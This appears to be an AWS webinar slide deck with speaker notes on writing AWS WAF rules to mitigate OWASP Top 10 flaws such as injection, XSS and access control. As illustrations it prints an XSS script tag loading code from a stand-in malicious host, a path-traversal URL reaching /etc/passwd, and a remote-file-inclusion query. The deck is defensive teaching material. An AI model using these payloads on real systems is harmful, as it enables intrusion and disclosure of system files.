The Open Web Application Security Project (OWASP) Top 10 identifies the most critical risks that web developers must address in their applications. AWS WAF, a web application firewall, helps you address the vulnerabilities identified by the OWASP Top 10. In this webinar, you will learn how to use AWS WAF to write rules to match common patterns of exploitation and block malicious requests from reaching your web servers.
2. About Today’s Webinar
• AWS WAF Overview
• Mitigating Application Security
Vulnerabilities
• Overview of OWASP Top 10
• Mitigating OWASP Top 10
Application Flaws
Dive Deep:
Whitepaper: Use AWS WAF to Mitigate OWASP’s Top 10 Web Application
Vulnerabilities
Toolkit: Companion CloudFormation Template containing example rules mitigating
OWASP Top 10 vulnerabilities
3. What is AWS WAF?
• Protect websites and web
applications against common web
exploits
• Mitigate risks impacting application
availability, security, or driving
excessive resource consumption
• HTTP protocol request filtering engine
• Prevent attacks with recognizable
request signatures
• Meet regulatory compliance
requirements
Web App Database
Your Application
Good Users Bad Folks
AWS WAF
4. WAF Positioning in the Spectrum of Attacks
DDoS
Targeted
attacks
WAF
Reflection and
amplification
Layer 3 & 4
floods
Slowloris
SSL abuse
HTTP floods
SQL injection
Bots and
probes Application
exploits
Social
engineering
Reverse
engineering
XSS
RFI/LFI
Data Exposure
5. Implementing AWS WAF
Associations
Amazon CloudFront Application Load Balancer
Web ACLs
Ordered set of rules
Rules
Match sets as predicates
Conditions
Match sets
• SQL Injection
• Cross Site Scripting (XSS)
• IP Blacklisting/Whitelisting
• Request Hygene/Size Constraints
• String Pattern Filtering
• Standard Rules
• Rate Based Rules (per 5min interval)
• Actions: Block, Allow, Count
• Perimeter protection
6. Strategies for Building a WAF Web ACL
• Blacklisting:
• Block bad patterns with rules, default action is: ALLOW
• More commonly used
• Whitelisting:
• Allow good patterns with rules, default action is: BLOCK
• Works best for defined limited pattern sets
• Mixed:
• Considerations: Rule ordering, bypass rules
• Count effects:
• Test pattern effectiveness with COUNT rule action
7. OWASP Top 10 (2013 & 2017 RC)
Represents a broad consensus about what the most critical web application
security flaws are
A1
Injection
A2
Broken Auth. &
Session Mgmt.
A3
Cross-Site Scripting
(XSS)
A4
Broken Access
Control
A5
Security
Misconfiguration
A6
Sensitive Data
Exposure
A7
Insufficient Attack
Protection
A8
Cross-Site Request
Forgery (CSRF)
A9
Using Components
with Known
Vulnerabilities
A10
Underprotected
APIs
2013 - A10
Unvalidated
redirects and
forwards
New
New
New
8. QuackyNature.com is the leading online retailer of Widgets
They are constantly under attack by malicious actors
trying to steal sensitive data, such as: payment information,
customer, pricing or supplier information.
You are their new Security Engineer tasked with
protecting their data and mitigating attacks…
9. Mitigating Application Security Threats
An application oriented approach:
Securing the specific application profile
Mitigate risks of exploiting QuackyNature.com application
specific flaws (code, configurations, features)
✓
Keeping up with a changing landscape✓
Mitigating common attack vectors
Protect QuackyNature.com from common attacks
✓
10. Using WAF to Mitigate OWASP Top 10
AWS WAF can mitigate application flaws
in the OWASP Top 10 categories
• A WAF does not fix the underlying flaws,
it limits the ability to exploit them
• Ability to derive recognizable HTTP
request pattern is key to effectiveness
• Ability to keep up with changes in attack
patterns is important
11. Know Your Specific Application Profile
Know your application in-depth, even if it’s a open
source/commercial off-the-shelf product
What services/URL paths does it expose to the web?
Keep them all up-to-date, and install security patches
timely
Keep exposure footprint low
1
3
Know the packages, libraries, components your
application is leveraging
Additional features and services they expose
2
12. A1 – Injection
Injection flaw: application sends untrusted data to an interpreter, risk
of altering original intent of request
Most well known are SQL Injection flaws
Credit: XKCD: Exploits of a Mom, published by permission.
13. A1 – Injection
Mitigate using AWS WAF SQL injection match conditions
• What HTTP request components should you scan?
• Query String, URI, Body, Cookie and/or Authorization Header
• What transformations should you apply?
• URL Decode, Decode HTML Entities
• What about other injection types?
• Use string match conditions
14. A3 – Cross-Site Scripting (XSS)
XSS flaw: include user-provided data in web pages without proper
sanitization. Malicious scripts or objects can be embedded in user
pages
Your Comment:
SEND
<script src=”https://malicious-
site.com/exploit.js”
type=”text/javascript” />
15. A3 – Cross-Site Scripting (XSS)
Mitigate using AWS WAF cross-site scripting match conditions
• What HTTP request components should you scan?
• Body, Query String, Cookie Header, URI
• What transformations should you apply?
• URL Decode, Decode HTML Entities
• What content types are allowed in HTTP request?
• Risk of false positives if not HTML content
16. A4 – Broken Access Control
Flaws due to lack/improper enforcement of restrictions on what users
are allowed to do:
• Manipulation of internal application objects
• Component/Function-level access control issues
• Path traversal attacks, local or remote file inclusion (LFI/RFI)
Permission validation flaws are difficult to mitigate by any WAF without
user context.
https://example.com/download.php?file=..%2F..%2Fetc%2Fpasswd
17. A4 – Broken Access Control
• Filter dangerous patterns using string match conditions that might
indicate path traversal, file inclusion.
• Limit access to administrative modules, or components to a known
set of users from known locations using string match conditions
and IP address match conditions
18. A5 – Security Misconfigurations
Default configurations aren’t always fit for purpose, recommended
defaults also change over time
Examples
• Leaving Apache’s ServerTokens Full in production
• Leaving default directory listings enabled in production web servers
• Application framework configuration that return stack traces in
production
• Bad/old insecure default configurations for runtimes, interpreters,
etc…
19. A5 – Security Misconfigurations
WAF mitigation strategies:
• Block or restrict access to paths for administrative consoles,
configuration or status pages, installed or enabled by default
• Protect against known attack patterns specific to your platform,
especially for legacy apps reliant on old platform behavior. Use
string match conditions to match relevant patterns.
http://example.com/?_SERVER[DOCUMENT_ROOT]=http://bad.com/bad.htm
20. A7 – Insufficient Attack Protection
Category proposed & rejected in the 2017 release candidate review,
still contains valuable lessons
Key coverage:
• HTTP request hygiene enforcement
• Adaptability to changing attack patterns
• Anomaly detection and reaction
• Validation of control effectiveness
21. A7 – Insufficient Attack Protection
WAF mitigation strategies:
• Use size constraint conditions to limit size of HTTP request
components to application relevant maximums
• Use rate-based rules to detect abnormal request volumes, or
changes in such volumes
• Use AWS WAF Security Automations for capabilities reacting to
abnormal conditions:
• Scanner and probe mitigation
• Known attacker origin mitigation (reputation lists)
• Bot and scraper mitigation
22. A9 – Components w/ Known Vulnerabilities
One of the most prevalent attack vectors
• Use of vulnerable components due to legacy constraints
• Use of vulnerable sub-components due to dependencies
• Use of vulnerable components due to lack of flaw tracking/reporting
Using WAF to mitigate:
• Block HTTP requests to unused functionality of components
• Block HTTP requests to server-side components in the public web
path
Topic coverage
Callout to dive deeper by reading the whitepaper & provision the CloudFormation template
… and “you” have heard of this thing called a WAF:
Explain the high level capabilities of AWS WAF
… and “you” also keep hearing about all these DDoS attacks… would a WAF help?
Explain where a WAF is positioned in the spectrum ranging from large scale DDoS attacks all the way to very targeted attacks…
Describe the concepts and components of an AWS WAF system
Describe the general patterns for deploying rule sets
“You” probably should deploy a blacklist – as an operator of a complex e-comm application it would be pretty hard to limit access to a limited set of good access patterns, although that’s certainly possible for specific services
OWASP Top10 is a great framework to guide you through that analysis and security control development process – it calls out the most critical attack vectors and gives guidance how to mitigate them
Describe the categories
A4, A7, A10 are new ones proposed in the 2017 RC version
A7, A10 were rejected recently part of the review process, but not because they do not reflect key attack vectors, so they are still valuable to consider – for example APIs are an emerging target for attacks, and while there are differences in the way systems interact with APIs, as opposed to humans with web interfaces, the vectors themselves aren’t any different then what is reflected in the other categories (an API can be just as vulnerable to SQL injection for example)
Set the story – “you” are a new Security Engineer tasked with developing a solution preventing attacks (as listed)
Which all brings us back to how to approach the process of mitigating security threats:
“You” need to protect your web app from common, generic attack vectors (bots out there constantly probing web apps for common vulnerabilities)
“You” need to mitigate risks that are unique to your own application: vulnerabilities in your own code, modules and component configurations specific to your own business logic.
“You” need to keep up with changes in attack vectors, techniques, scale, etc…
From a practical perspective, while OWASP Top 10 is a useful framework, and AWS WAF can mitigate attacks listed in the framework, a WAF doesn’t fix the underlying flaws in the applications, it just limit the ability to exploit them, and thus the risk to your applications. You should still fix the underlying flaws as you discover them.
The effectiveness of a WAF depends on how well you can tell attempts at attack out from legitimate traffic in the HTTP requests apart. …and how well you can keep up as those attack patterns change over time
So what does this all mean for “you” in the context of building an effective WAF protection control in front of your e-comm web app?
“You” have to know and understand what public resources and endpoints your application exposes, and for what reasons?
Realistically, “you” also have to do the same for all packages, libraries, components your app is using. Know the versions, what features are used and what aren’t…
… and then keep all that up to date to keep your exposure footprint low
This will help you understand what attack vectors you need to mitigate, and where – next we’ll cover some of the OWASP Top 10 categories in more depth – these are categories where AWS WAF can play a large role in your mitigation strategy